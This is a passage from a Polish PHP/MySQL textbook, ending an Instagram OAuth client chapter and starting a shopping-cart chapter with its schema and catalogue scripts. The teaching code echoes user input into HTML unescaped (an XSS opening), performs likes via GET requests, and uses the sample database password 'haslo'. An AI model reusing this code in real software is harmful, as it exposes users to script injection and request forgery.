Po określeniu adresu URI punktu końcowego wykonujemy żądanie HTTP GET, przekazując jed-
nocześnie liczbę wyników, jakie należy zwrócić (w formie parametru count), oraz żeton dostępu
OAuth. Warto zauważyć, że żeton ten został zwrócony przez serwis Instagram w formie dokumentu
JSON, w którym były dostępne także inne informacje, takie jak żeton odświeżenia. Jednak w tym
żądaniu przekazujemy na serwer jedynie żeton dostępu.

Wynikiem tego żądania będzie dokument JSON zawierający kolekcję wpisów spełniających kry-
teria określone w żądaniu. Dlatego też, w celu dalszego przetwarzania, dokument ten przekształcamy
na tablicę PHP przy użyciu funkcji json_decode(). Następnie dzielimy zawartość tej tablicy na
części składające się z czterech elementów, co ułatwi nam późniejsze wyświetlanie pobranych
mediów. W efekcie uzyskamy tablicę $recentPhotos, zawierającą listę czteroelementowych tablic
z faktycznymi mediami, które musimy wyświetlić na stronie.

W kolejnym etapie działania skryptu tablica ta jest wyświetlana w atrakcyjny wizualnie sposób,
z wykorzystaniem frameworka CSS Bootstrap. Poniżej przedstawiona została druga część skryptu
feed.php, która służy właśnie do tego celu:
<html>
<head>
<title>Rozdział 30. - prosty klient Instagrama</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/
bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZl
pLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/
bootstraptheme.min.css" integrity="sha384-fLW2N01lMqjakBkx3l/M9EahuwpSfeNvV63J
5ezn3uZzapT0u7EYsXMjQV+0En5r" crossorigin="anonymous">
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"
integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS"
crossorigin="anonymous"></script>
Rozdział 30.  Integracja z mediami społecznościowymi — udostępnianie i uwierzytelnianie 645

<script src="//code.jquery.com/jquery-1.12.0.min.js"></script>
<script>
$(document).ready(function() {
$('.like-button').on('click', function(e) {
e.preventDefault();
var media_id = $(e.target).data('media-id');
$.get('like.php?media_id=' + media_id,
function(data) {
if(data.success) {
$(e.target).remove();
}
});
});
});
</script>
</head>
<body>
<div class="container">
<h1>Ostatnie zdjęcia z Instagrama</h1>
<div class="row">
<div class="col-md-12">
<form class="form-horizontal" method="GET" action="feed.php">
<fieldset class="form-group">
<div class="col-xs-9 input-group">
<input type="text" class="form-control"
id="tagQuery" name="tagQuery" placeholder="Szukaj znacznika...."
value="<?=$tag?>"/>
<span class="input-group-btn">
<button type="submit" class="btn btnprimary">
<i class="glyphicon glyphicon-search"></i> Szukaj</button>
</span>
</div>
</fieldset>
</form>
</div>
</div>
<div class="row">
<?php foreach($recentPhotos as $photoRow): ?>
<div class="row">
<?php foreach($photoRow as $photo): ?>
<div class="col-md-3">
<div class="card">
<div class="card-block">
<h4 class="cardtitle"><?= substr($photo['caption']
['text'], 0, 30)?></h4>
<h6 class="card-subtitle textmuted"><?= substr
($photo['caption']['text'], 30, 30)?></h6>
</div>
<img class="card-img-top"
src="<?=$photo['images']['thumbnail']['url']?>"
alt="<?=$photo['caption']['text']?>" />
<div class="card-block">
<?php foreach($photo['tags'] as $tag): ?>
<a href="feed.php?tagQuery=<?=$tag?>"
class="card-link">#<?=$tag?></a>
<?php endforeach?>
</div>
<div class="card-footer text-right">
<?php if(!$photo['user_has_liked']): ?>
<a data-media-id="<?=$photo['id']?>"
href="#" class="btn btn-xs btn-primary
like-button"><i class="glyphicon
646 Część V  Tworzenie praktycznych projektów PHP i MySQL

glyphicon-thumbs-up"></i> Polub</a>
<?php endif; ?>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endforeach; ?>
</div>
</div>
</body>
</html>

Wyniki generowane przez skrypt feed.php stanowią kluczowy element naszej przykładowej
aplikacji — jest nimi bądź to lista ostatnich zdjęć z konta danego użytkownika na Instagramie,
bądź też lista zdjęć związanych z konkretnym znacznikiem. U góry strony widnieje pasek do
wyszukiwania znaczników, a poniżej znajdują się poszczególne zdjęcia rozmieszczone przy wy-
korzystaniu siatki zdefiniowanej przez framework CSS Bootstrap. Oprócz samych zdjęć oraz
ich tytułów pod każdym ze zdjęć, których użytkownik jeszcze nie polubił, wyświetlany jest przycisk
Polub. Jest on obsługiwany przez kod jQuery, a jego kliknięcie powoduje wygenerowanie żądania
AJAX skierowanego z powrotem do naszej aplikacji (a konkretnie: do skryptu like.php), którego
zadaniem jest oznaczenie danego zdjęcia jako „lubianego”. Jeśli użytkownik już wcześniej po-
lubił zdjęcie, przycisk ten nie jest wyświetlany.

Oznaczanie zdjęć jako lubianych


Zgodnie z informacjami podanymi w poprzednim podpunkcie rozdziału w celu zaimplementowa-
nia możliwości polubienia zdjęcia generowane jest żądanie AJAX odwołujące się do ostatniego
skryptu PHP naszej aplikacji: like.php. Poniżej został przedstawiony jego kod:
<?php

require_once __DIR__ . '/../vendor/autoload.php';

use GuzzleHttp\Client;

header("Content-Type: application/json");

if(!isset($_SESSION['access_token']) || empty($_SESSION['access_token'])) {
header("Location: index.php");
exit;
}

if(!isset($_GET['media_id']) || empty($_GET['media_id'])) {
echo json_encode([
'success' => false
]);
return;
}

$media_id = $_GET['media_id'];

$requestUri = "https://api.instagram.com/v1/media/{$media_id}/likes";

$client = new Client();

$response = $client->post($requestUri, [
'form_params' => [
'access_token' => $_SESSION['access_token']['access_token']
Rozdział 30.  Integracja z mediami społecznościowymi — udostępnianie i uwierzytelnianie 647

]
]);

$results = json_decode($response->getBody(), true);


echo json_encode([
'success' => true
]);

W tym momencie podstawowe operacje przeprowadzane na początku każdego skryptu naszej


aplikacji powinny już być oczywiste. Jednak w odróżnieniu od wszystkich pozostałych skryptów
ten został zaprojektowany w taki sposób, by był wykonywany przy użyciu żądań AJAX, i z tego
względu zwraca on w wyniku kod JSON, a nie HTML. Skrypt wymaga przekazania w formie
parametru żądania HTTP GET identyfikatora medium na Instagramie (unikalnego identyfikatora
przypisywanego przez serwer każdemu napisanemu wpisowi), a następnie używa API serwisu
do oznaczenia danego zdjęcia jako lubianego przez użytkownika (korzystając przy tym z żetonu
dostępu). W przypadku prawidłowego wykonania operacji informacja o tym jest zwracana do
skryptu wywołującego w formie odpowiedniej wartości w formacie JSON.

Wniosek
Tak oto zakończyliśmy omawianie sposobu wykorzystania protokołu OAuth na przykładzie
serwisu Instagram. Oczywiście nie przedstawiliśmy tu wyczerpującej listy wszystkich dostępnych
wywołań API. Czytelnik może dokładniej zapoznać się z wszystkimi tymi żądaniami API we
własnym zakresie, stosując przedstawione tu techniki i narzędzia służące do uwierzytelniania
aplikacji przez użytkownika i wykonywania żądań HTTP. Pełna dokumentacja API serwisu Insta-
gram jest dostępna na stronie http://www.instagram.com/developer/, czyli w tym samym miejscu,
w którym należy zarejestrować aplikację, by móc korzystać z protokołu OAuth.

Choć każdy etap używania protokołu OAuth został tu szczegółowo opisany, to jednak warto
zwrócić uwagę na to, że w profesjonalnych aplikacjach podejmowanie takich wysiłków nie jest
konieczne. Platformy społecznościowe, takie jak Facebook czy Google, udostępniają SDK dla
języka PHP przeznaczone do korzystania z ich różnych usług internetowych, które znacznie
ułatwiają proces autoryzacji. W przypadku innych platform, które nie udostępniają SDK dla języka
PHP, takich jak Twitter, często dostępne są doskonałe, otwarte SDK, takie jak TwitterOAuth
(http://twitteroauth.com/), zapewniające podobne możliwości.

Mimo że zrozumienie sposobu działania protokołu OAuth oraz zasad integracji z mediami
społecznościowymi bez wątpienia ma duże znaczenie, to zdecydowanie zaleca się, by po zdo-
byciu niezbędnej wiedzy i opanowaniu niezbędnych umiejętności zacząć korzystać z szerokiej
gamy już istniejących narzędzi, zamiast od podstaw tworzyć własne.
648 Część V  Tworzenie praktycznych projektów PHP i MySQL
Rozdział 31.
Tworzenie
koszyka na zakupy
W tym rozdziale omówimy sposoby tworzenia prostego koszyka na zakupy. Zostanie on dodany
do bazy danych „Książkorama”, zaimplementowanej w części II, „Stosowanie MySQL”. Opiszemy
również drugą opcję — konfigurację i korzystanie z istniejącego w systemie Open Source koszyka
na zakupy PHP.

Osoby, które nie znają jeszcze terminu koszyk na zakupy (zwany także wózkiem na zakupy),
powinny się dowiedzieć, że jest on stosowany do opisu specyficznego mechanizmu zakupów
online. Po zakończeniu przeglądania zostaje dokonany zakup produktów z koszyka.

Aby zaimplementować koszyk na zakupy dla celów tego projektu, należy wprowadzić następujące
funkcje:
 Baza danych produktów, które mają być sprzedawane online.
 Katalog produktów online, podzielony na kategorie.
 Koszyk na zakupy śledzący produkty, które chce zakupić użytkownik.
 Skrypt kasy, który przetwarza dane dotyczące płatności i transportu.
 Interfejs administracyjny.

Składniki rozwiązania
Przypomnijmy sobie bazę danych „Książkorama”, utworzoną w części II. W tym projekcie sklep
online „Książkorama” zostanie uruchomiony. Komponenty, z jakich będzie składać się aplikacja,
powinny spełniać następujące wymagania:
 Należy znaleźć sposób połączenia bazy danych z przeglądarką użytkownika. Użytkownicy
powinni mieć możliwość przeglądania produktów według kategorii.
 Użytkownicy powinni mieć także możliwość wybrania produktów z katalogu w celu
dokonania późniejszych zakupów. Musi istnieć możliwość śledzenia wybranych przez
nich produktów.
 Kiedy użytkownicy zakończą zakupy, konieczne będzie podsumowanie ich zamówień,
pobranie szczegółów dostawy oraz przetworzenie płatności.
 Należy również utworzyć interfejs administracyjny witryny „Książkorama”,
aby administrator mógł dodawać i edytować książki i kategorie witryny.
650 Część V  Tworzenie praktycznych projektów PHP i MySQL

Znamy już ogólną koncepcję witryny, a zatem można już przystąpić do projektowania aplikacji
i jej poszczególnych komponentów.

Tworzenie katalogu online


Istnieje już baza danych katalogu „Książkorama”. Przypuszczalnie jednak wymaga ona pewnych
zmian i dodatków w celu współpracy z aplikacją tworzoną w tym rozdziale. Jednym z dodatków
są kategorie książek, wyliczone w wymaganiach.

Konieczne będzie również dodanie pewnych informacji do istniejącej bazy danych na temat adresów
dostaw, szczegółów płatności itd. Wiadomo już, jak utworzyć interfejs bazy danych MySQL za
pomocą PHP, tak więc ta część rozwiązania powinna być dość łatwa.

Ponadto, składanie zamówień przez klientów powinno się odbywać w ramach jednej transakcji.
Aby było to możliwe, musimy przekształcić tabele księgarni „Książkorama” w taki sposób, by
używały one modułu InnoDB. Zadanie to jest niezbyt skomplikowane.

Śledzenie zakupów użytkownika podczas przeglądania


Istnieją dwie podstawowe metody śledzenia zakupów użytkownika podczas przeglądania. Jednym
z nich jest umieszczenie jego decyzji w bazie danych, drugim — zastosowanie zmiennej sesji.

Zastosowanie zmiennej sesji do śledzenia decyzji od strony do strony jest łatwiejsze, ponieważ
nie wymaga ciągłego wysyłania zapytań o te informacje do bazy danych. Zastosowanie takiego
podejścia pozwoli również uniknąć sytuacji nagromadzenia się śmieci w bazie danych z powodu
użytkowników, którzy tylko przeglądają lub zmieniają zdanie.

Tak więc konieczne jest zaprojektowanie zmiennej sesji lub zbioru zmiennych w celu przecho-
wywania decyzji użytkownika. Kiedy użytkownik zakończy zakupy i zapłaci za nie, informacje
te zostaną umieszczone w bazie danych jako dowód transakcji.

Dane te mogą również zostać zastosowane do utworzenia podsumowania obecnego stanu koszyka
w jednym rogu strony, aby użytkownik wiedział, ile planuje wydać w danym czasie.

Implementacja systemu płatności


W tym projekcie podsumujemy zamówienie użytkownika oraz pobierzemy szczegóły dostawy. Sam
proces płatności nie zostanie jednak przeprowadzony. Istnieje bardzo wiele systemów płatności,
a implementacja każdego z nich jest inna. Utworzymy funkcję ślepa, która może zostać zamieniona
na interfejs do wybranego systemu.

Istnieje co najmniej kilka systemów płatności, które można wykorzystać, oraz wiele interfejsów
do tych systemów płatności, jednak zakres funkcji realizowanych przez poszczególne mechanizmy
przetwarzania płatności kartami kredytowymi w czasie rzeczywistym jest zazwyczaj dość podobny.
Trzeba utworzyć konto rozliczeniowe w banku dla kart, które będą akceptowane; zazwyczaj sam
bank wskaże listę rekomendowanych dostawców systemu płatności. Dostawca danego systemu
płatności poda parametry, które należy przekazać systemowi, oraz wskaże sposób przekazywania
tych parametrów. Producenci większości systemów płatności udostępniają przykładowe fragmenty
kodu źródłowego gotowego do wykorzystania w skryptach PHP, którymi można zastąpić funkcję
zaimplementowaną w tym rozdziale.
Rozdział 31.  Tworzenie koszyka na zakupy 651

System płatności przekaże dane bankowi oraz zwróci kod sukcesu lub jeden z wielu kodów porażki.
W zamian za przekazywanie danych księgarni bramka płatności pobierać błędzie opłatę startową
i opłaty roczne, a także opłatę opartą na liczbie lub wartości transakcji. Niektórzy dostawcy pobie-
rają opłaty nawet za odrzucone transakcje.

Wybrany system płatności będzie potrzebował przynajmniej informacji o użytkowniku (takich jak
numer karty kredytowej), informacji identyfikujących księgarnię (aby określić, na które konto
należy przelać pieniądze) oraz całkowitej wartości transakcji.

Wartość zamówienia może być obliczona za pomocą zmiennej sesji koszyka na zakupy. Szczegóły
ostatecznego zamówienia zostaną przechowane w bazie danych i jednocześnie system pozbędzie
się zmiennej sesji.

Interfejs administratora
Oprócz powyższych rozwiązań zostanie utworzony interfejs administratora, który pozwoli na
dodawanie, usuwanie oraz edycję książek i kategorii w bazie danych.

Jedną z częstych zmian, jakie będą przeprowadzane, jest modyfikacja ceny produktu (na przykład
oferty specjalne i wyprzedaże). Oznacza to, że przy przechowywaniu zamówienia klienta powinna
być zachowana także cena zakupu. Koszmarem księgowym byłaby sytuacja, w której przechowy-
wane są jedynie informacje o produktach zakupionych przez użytkownika oraz ich aktualne ceny.
Oznacza to również, że kiedy użytkownik będzie chciał zwrócić lub wymienić produkt, otrzyma
prawidłową kwotę.

W tym przykładzie nie zostanie utworzony interfejs śledzący wypełnienie zamówienia. W razie
konieczności można go jednak dodać później.

Przegląd rozwiązania
Poniżej wszystkie składniki zostały połączone w całość. Istnieją dwa podstawowe sposoby ujęcia
systemu — widok użytkownika i widok administratora. Po rozważeniu wymaganej funkcjo-
nalności zostały utworzone dwa projekty działania systemu, przedstawione, odpowiednio, na ry-
sunkach 31.1 i 31.2.

Rysunek 31.1.
Widok użytkownika
systemu „Książkorama”
pozwala użytkownikom
na przeglądanie książek
według kategorii,
przeglądanie szczegółów
książki, dodawanie
książek do koszyka oraz
kupowanie produktów
652 Część V  Tworzenie praktycznych projektów PHP i MySQL

Rysunek 31.2. Widok administratora systemu „Książkorama” pozwala na dodawanie, edycję i usuwanie
książek i kategorii

Na rysunku 31.1 zostały przedstawione podstawowe połączenia pomiędzy skryptami w części


witryny przeznaczonej dla użytkowników. Klient rozpoczyna od strony głównej, która wyświetla
wszystkie kategorie książek w witrynie. Z tego miejsca może on przejść do konkretnej kategorii
książek, a stamtąd do danych szczegółowych konkretnej książki.

Użytkownikowi zostanie podane łącze pozwalające na dodanie konkretnej książki do koszyka.


Ze strony koszyka można przenieść się do kasy sklepu.

Rysunek 31.2 przedstawia interfejs administratora, który posiada większą liczbę skryptów, lecz
niewiele nowego kodu. Skrypty te pozwalają na zalogowanie się oraz na dodawanie książek
i kategorii.

Najprostszym sposobem implementacji edycji i usuwania książek oraz kategorii jest przedsta-
wienie administratorowi nieco zmodyfikowanej wersji interfejsu użytkownika witryny. Admini-
strator będzie miał możliwość przeglądania kategorii i książek, lecz zamiast dostępu do koszyka
na zakupy będzie mógł dotrzeć do konkretnej książki lub kategorii i dokonać jej edycji lub usunięcia.
Poprzez utworzenie skryptów przydatnych zarówno dla użytkownika, jak i dla administratora
można znacznie oszczędzić czas i wysiłek.

Istnieją trzy główne moduły kodu tej aplikacji:


 Katalog,
 Koszyk na zakupy i przetwarzanie zamówienia (zostały one połączone, gdyż są ściśle
ze sobą związane).
 Administracja.

Jak często się zdarza w przypadku systemów takich jak ten prezentowany w tym rozdziale,
zostanie utworzony i zastosowany zbiór bibliotek funkcji. Zbiór funkcji, który zastosujemy w tym
projekcie, będzie podobny do API używanych w pozostałych projektach przedstawionych w niniej-
szej książce. Części kodu wyświetlające HTML zostaną umieszczone w jednej bibliotece według
zasady oddzielania logiki i zawartości. Co ważniejsze, pozwalają one na uczynienie kodu łatwiej-
szym w odczytywaniu i utrzymywaniu.
Rozdział 31.  Tworzenie koszyka na zakupy 653

Konieczne również będą drobne zmiany w bazie danych „Książkorama”. Nazwa bazy danych
została zmieniona na ksiazka_kz (Koszyk na zakupy), aby możliwe było odróżnienie jej od bazy
danych utworzonej w części II.

Pełny kod projektu znajduje się na serwerze FTP wydawnictwa Helion — ftp://ftp.helion.pl/
przyklady/phmsv5.zip. Podsumowanie plików aplikacji jest przedstawione w tabeli 31.1.

Tabela 31.1. Pliki aplikacji koszyka na zakupy

Nazwa Moduł Opis


indeks.php Katalog Główna strona dla użytkowników. Przedstawia listę kategorii
w systemie
pokaz_kat.php Katalog Pokazuje użytkownikowi wszystkie książki danej kategorii
pokaz_ksiazke.php Katalog Przedstawia użytkownikowi szczegółowe dane konkretnej
książki
pokaz_kosz.php Koszyk na zakupy Pokazuje użytkownikowi zawartość jego koszyka. Stosowany
również do dodawania przedmiotów do koszyka
kasa.php Koszyk na zakupy Przedstawia użytkownikowi szczegóły zamówienia. Pobiera
szczegóły dostawy
zakup.php Koszyk na zakupy Pobiera od użytkownika szczegóły płatności
przetworz.php Koszyk na zakupy Przetwarza szczegóły zamówienia i dodaje zamówienie do bazy
danych
logowanie.php Administracja Pozwala administratorowi na zalogowanie się w celu dokonania
zmian
wylog.php Administracja Dokonuje wylogowania administratora
admin.php Administracja Główne menu administratora
zmiana_hasla_form.php Administracja Formularz pozwalający administratorowi na zmianę hasła
zmiana_hasla.php Administracja Zmienia hasło administratora
dodaj_kat_form.php Administracja Formularz pozwalający administratorowi na dodanie nowej
kategorii do bazy danych
dodaj_kat.php Administracja Dodaje nową kategorię do bazy danych
dodaj_ksiazke_form.php Administracja Formularz pozwalający administratorowi na dodanie nowej
książki do systemu
dodaj_ksiazke.php Administracja Dodaje nową książkę do bazy danych
edycja_kat_form.php Administracja Formularz pozwalający administratorowi na edycję kategorii
edycja_kat.php Administracja Uaktualnia kategorię w bazie danych
edycja_ksiazki_form.php Administracja Formularz pozwalający administratorowi na edycję
szczegółowych danych książki
edycja_ksiazki.php Administracja Uaktualnia książkę w bazie danych
usun_kat.php Administracja Usuwa kategorię z bazy danych
usun_ksiazke.php Administracja Usuwa książkę z bazy danych
funkcje_ksiazka_kz.php Funkcje Zbiór plików dołączanych do aplikacji
funkcje_admin.php Funkcje Zbiór funkcji stosowanych przez skrypty administratora
654 Część V  Tworzenie praktycznych projektów PHP i MySQL

Tabela 31.1. Pliki aplikacji koszyka na zakupy (ciąg dalszy)

Nazwa Moduł Opis


funkcje_ksiazki.php Funkcje Zbiór funkcji przechowujących i odczytujących dane książki
funkcje_zamowien.php Funkcje Zbiór funkcji przechowujących i odczytujących dane zamówienia
funkcje_wyswietl.php Funkcje Zbiór funkcji wyświetlających HTML
funkcje_prawid_dane.php Funkcje Zbiór funkcji sprawdzających prawidłowość wprowadzonych
danych
funkcje_bazy.php Funkcje Zbiór funkcji łączących się z bazą danych ksiazka_kz
funkcje_uwierz.php Funkcje Zbiór funkcji uwierzytelniających administratorów
ksiazka_kz.sql SQL Plik SQL konfigurujący bazę danych ksiazka_kz
populacja.sql SQL Plik SQL umieszczający przykładowe dane w bazie danych
ksiazka_kz

Poniżej znajduje się opis implementacji każdego z modułów.


W aplikacji tej zawarto sporą ilość kodu. Duża jego część implementuje funkcjonalność
opisaną już wcześniej (głównie w poprzednim rozdziale), taką jak przechowywanie
i odczytywanie danych z bazy danych oraz uwierzytelnianie administratora. Kod ten
zostanie opisany bardzo pobieżnie, w przeciwieństwie do koszyka na zakupy.

Implementacja bazy danych


Jak wspomniano wcześniej, w bazie danych „Książkorama”, przedstawionej w części II, dokonano
drobnych zmian. Kod SQL tworzący bazę danych ksiazka_kz jest przedstawiony na listingu 31.1.

Listing 31.1. ksiazka_kz.sql — kod SQL tworzący bazę danych ksiazka_kz


create database ksiazka_kz;

use ksiazka_kz;

create table klienci


(
idklienta int unsigned not null auto_increment primary key,
nazwisko char(60) not null,
adres char(80) not null,
miasto char(30) not null,
wojew char(20),
kod_poczt char(10),
kraj char(20) not null
) engine=InnoDB DEFAULT CHARSET=utf8;

create table zamowienia


(
idzamowienia int unsigned not null auto_increment primary key,
idklienta int unsigned not null references klienci(idklienta),
wartosc float(6,2),
data date not null,
stan_zam char(10),
dos_nazwisko char(60) not null,
dos_adres char(80) not null,
dos_miasto char(30) not null,
Rozdział 31.  Tworzenie koszyka na zakupy 655

dos_wojew char(20),
dos_kod_poczt char(10),
dos_kraj char(20) not null
) engine=InnoDB DEFAULT CHARSET=UTF8;

create table ksiazki


(
isbn char(13) not null primary key,
autor char(100),
tytul char(100),
idkat int unsigned,
cena float(4,2),
opis varchar(255)
) engine=InnoDB DEFAULT CHARSET=UTF8;

create table kategorie


(
idkat int unsigned not null auto_increment primary key,
nazwakat char(60) not null
) engine=InnoDB DEFAULT CHARSET=UTF8;

create table produkty_zamowienia


(
idzamowienia int unsigned not null references zamowienia(idzamowienia),
isbn char(13) not null references ksiazki(isbn),
cena_produktu float(4,2) not null,
ilosc tinyint unsigned not null,
primary key (idzamowienia, isbn)
) engine=InnoDB DEFAULT CHARSET=UTF8;

create table admin


(
nazwa_uz char(16) not null primary key,
haslo char(40) not null
) engine=InnoDB DEFAULT CHARSET=UTF8;

grant select, insert, update, delete


on ksiazka_kz.*
to ksiazka_kz@localhost identified by 'haslo';

Chociaż pierwotny interfejs systemu „Książkorama” nie zawierał żadnych błędów, w tym przy-
padku istnieje kilka dodatkowych wymagań, które muszą zostać spełnione.

Zmiany dokonane w pierwotnej bazie danych są następujące:


 Dodanie większej liczby pól adresu dla klientów. Teraz, gdy tworzymy bardziej realistyczną
aplikację, nabierają one znacznie większej wagi.
 Dodanie adresu dostawy do zamówienia. Adres kontaktowy klienta nie musi być taki sam
jak adres dostawy, zwłaszcza gdy klient ten korzysta z witryny w celu zakupienia prezentu.
 Dodanie tabeli kategorie oraz indeksu idkat do tabeli ksiazki. Sortowanie książek według
kategorii ułatwia przeglądanie strony.
 Dodanie indeksu cena_produktu do tabeli produkty_zamowienia w celu uwzględnienia
możliwości zmian ceny produktu. W tym przypadku konieczna jest znajomość ceny
książki w czasie zakupienia jej przez klienta.
 Dodanie tabeli admin, przechowującej nazwę użytkownika oraz hasło administratora.
656 Część V  Tworzenie praktycznych projektów PHP i MySQL

 Usunięcie tabeli recenzje — recenzje mogą zostać dodane jako rozszerzenie tego projektu.
Natomiast każda książka posiada pole opis, zawierające krótką informację na jej temat.
 Zmiana modułu przechowywania danych na InnoDB. Dzięki temu możemy używać kluczy
obcych, a w trakcie zapisywania informacji na temat zamówienia klientów — również
transakcji.

Aby skonfigurować bazę danych w swoim systemie, należy uruchomić skrypt ksiazka_kz.sql po-
przez MySQL jako użytkownik root:
mysql –u root –p < ksiazka_kz.sql

(Należy podać swoje hasło użytkownika root).

Przed podjęciem powyższych działań zalecana jest zmiana hasła użytkownika ksiazka_kz na bar-
dziej bezpieczne niż 'haslo'. Należy pamiętać, że jeśli w pliku ksiazka_kz.sql zmienione zostanie
hasło, trzeba będzie taką samą zmianę wprowadzić w pliku funkcje_bazy.php (o tym, gdzie
należy to zrobić, już za chwilę).

Dołączony został również plik przykładowych danych. Nosi on nazwę populacja.sql. Można
umieścić przykładowe dane w bazie danych, uruchamiając ten skrypt poprzez MySQL w podobny
sposób.

Implementacja katalogu online


Aplikacja zawiera trzy skrypty katalogu — stronę początkową, stronę kategorii oraz stronę danych
szczegółowych książki.

Początkowa strona witryny jest tworzona przez skrypt o nazwie indeks.php. Wynik uruchomienia
tego skryptu przedstawiono na rysunku 31.3.

Rysunek 31.3.
Strona początkowa
witryny przedstawia
kategorie książek
dostępne w sprzedaży

Można dostrzec, że oprócz listy kategorii w prawym górnym rogu ekranu znajdują się: łącze do
koszyka na zakupy i pewne informacje podsumowujące jego zawartość. Informacje te będą się
pojawiać na każdej stronie przeglądanej przez użytkownika.

Jeżeli użytkownik kliknie jedną z tych kategorii, zostanie przeniesiony na stronę kategorii, tworzoną
przez skrypt pokaz_kat.php. Strona kategorii Internet jest przedstawiona na rysunku 31.4.
Rozdział 31.  Tworzenie koszyka na zakupy 657

Rysunek 31.4.
Każda książka danej
kategorii jest
wyświetlana
razem z fotografią

Wszystkie książki kategorii Internet są przedstawione jako łącza. Jeżeli użytkownik wybierze
któreś z nich, zostanie przeniesiony do strony zawierającej dane szczegółowe książki. Strona danych
jednej z książek jest przedstawiona na rysunku 31.5.

Rysunek 31.5.
Każda książka
posiada stronę
danych
szczegółowych,
przedstawiającą
większą ilość
informacji, w tym
długi opis książki

Na tej stronie oprócz łącza Pokaż koszyk istnieje również łącze Dodaj do koszyka, za pomocą
którego użytkownik może wybrać produkt w celu jego zakupienia. Kwestia ta zostanie omówiona
podczas opisu tworzenia koszyka na zakupy.

Poniżej został przedstawiony każdy z tych trzech skryptów.


658 Część V  Tworzenie praktycznych projektów PHP i MySQL

Przedstawianie kategorii
Pierwszy skrypt, indeks.php, wyświetla wszystkie kategorie bazy danych. Jest on przedstawiony
na listingu 31.2.

Listing 31.2. indeks.php — skrypt tworzący stronę początkową witryny


<?php
// koszyk na zakupy potrzebuje sesji, zostaje więc ona rozpoczęta
session_start();

require_once ('funkcje_ksiazka_kz.php');
tworz_naglowek_html("Witamy w księgarni Książkorama");

echo "<p>Proszę wybrać kategorię:</p>";

// pobranie kategorii z bazy danych


$tablica_kat = pobierz_kategorie();

// wyświetlenie jako łącza do strony kategorii


wyswietl_kategorie($tablica_kat);

// jeżeli zalogowany jako administrator, pokaż łącza dodawania,


// usuwania i edycji
if(isset($_SESSION['uzyt_admin'])) {
wyswietl_przycisk("admin.php", "menu-admin", "Menu Administratora");
}
tworz_stopke_html();
?>

Skrypt ten rozpoczyna się od dołączenia pliku funkcje_ksiazka_kz.php, który ładuje wszystkie
biblioteki funkcji tej aplikacji.

Następnie konieczne jest rozpoczęcie sesji, niezbędne do działania funkcjonalności koszyka na


zakupy. Każda strona tej witryny będzie korzystała z sesji.

Skrypt indeks.php zawiera również wywołania do pewnych funkcji wyświetlających HTML, takich
jak: tworz_naglowek_html() i tworz_stopke_html() (obie znajdują się w pliku funkcje_wyswietl.php).
Zawarty w nim jest także kod sprawdzający, czy użytkownik jest zalogowany jako administrator.
W razie pozytywnej odpowiedzi udziela mu różnych opcji nawigacyjnych — kwestia ta zostanie
opisana w podrozdziale poświęconym funkcjom administracyjnym.

Najważniejsza część powyższego skryptu jest następująca:


// pobranie kategorii z bazy danych
$tablica_kat = pobierz_kategorie();

// wyświetlenie jako łącza do strony kategorii


wyswietl_kategorie($tablica_kat);

Funkcje pobierz_kategorie() i wyswietl_kategorie() są umieszczone odpowiednio w bibliote-


kach funkcji funkcje_ksiazki.php i funkcje_wyswietl.php. Funkcja pobierz_kategorie() zwraca
tablicę zawierającą kategorie znajdujące się w systemie, które zostają przekazane funkcji
wyswietl_kategorie(). Kod funkcji pobierz_kategorie jest przedstawiony na listingu 31.3.
Rozdział 31.  Tworzenie koszyka na zakupy 659

Listing 31.3. Funkcja pobierz_kategorie() umieszczona w pliku funkcje_ksiazki.php — odczytuje listę


kategorii z bazy danych
function pobierz_kategorie() {
// zapytanie bazy danych o listę kategorii
$lacz = lacz_bd();
$zapytanie = "select idkat, nazwakat from kategorie";
$wynik = @$lacz->query($zapytanie);
if (!$wynik) {
return false;
}
$ilosc_kat = @$wynik->num_rows;
if ($ilosc_kat == 0) {
return false;
}
$wynik = wynik_bd_do_tablicy($wynik);
return $wynik;
}

A zatem funkcja pobierz_kategorie() łączy się z bazą danych i odczytuje listę wszystkich identy-
fikatorów i nazw kategorii. Napisana i wykorzystana została funkcja wynik_bd_do_tablicy(),
umieszczona w pliku funkcje_bazy.php. Funkcja ta jest przedstawiona na listingu 31.4. Pobiera
ona identyfikator wyniku MySQL i zwraca indeksowaną numerycznie tablicę rzędów, w której
każdy rząd jest tablicą asocjacyjną.

Listing 31.4. funkcja wynik_bd_do_tablicy() umieszczona w pliku funkcje_bazy.php — konwertuje identyfikator


wyniku MySQL na tablicę wyników
function wynik_bd_do_tablicy($wynik) {

$tablica_wyn = array();

for ($licznik=0; $rzad = $wynik->fetch_assoc(); $licznik++) {


$tablica_wyn[$licznik] = $rzad;
}

return $tablica_wyn;
}

W tym przypadku tablica ta zostanie zwrócona z powrotem aż do pliku indeks.php, gdzie nastąpi
jej przekazanie funkcji wyswietl_kategorie() pochodzącej z pliku funkcje_wyswietl.php. Funkcja
ta wyświetla każdą kategorię jako łącze do strony zawierającej wszystkie książki tej kategorii.
Kod tej funkcji jest przedstawiony na listingu 31.5.

Listing 31.5. Funkcja wyswietl_kategorie() pochodząca z pliku funkcje_wyswietl.php — wyświetla tablicę


kategorii jako listę łączy do tych kategorii
function wyswietl_kategorie($tablica_kat) {
if (!is_array($tablica_kat)) {
echo "<p>Brak dostępnych kategorii</p>";
return;
}
echo "<ul>";
foreach ($tablica_kat as $rzad) {
$url = "pokaz_kat.php?idkat=".urlencode($rzad['idkat']);
$tytul = $rzad['nazwakat'];
echo "<li>";
tworz_html_url($url, $tytul);
echo "</li>";
660 Część V  Tworzenie praktycznych projektów PHP i MySQL

}
echo "</ul>";
echo "<hr />";
}

Powyższa funkcja dokonuje konwersji wszystkich kategorii bazy danych na łącza. Wszystkie
łącza prowadzą do tego samego skryptu — pokaz_kat.php — lecz każde z nich posiada inny para-
metr, identyfikator kategorii, czyli idkat (jest to unikatowa liczba, generowana przez MySQL
i stosowana do identyfikacji kategorii).
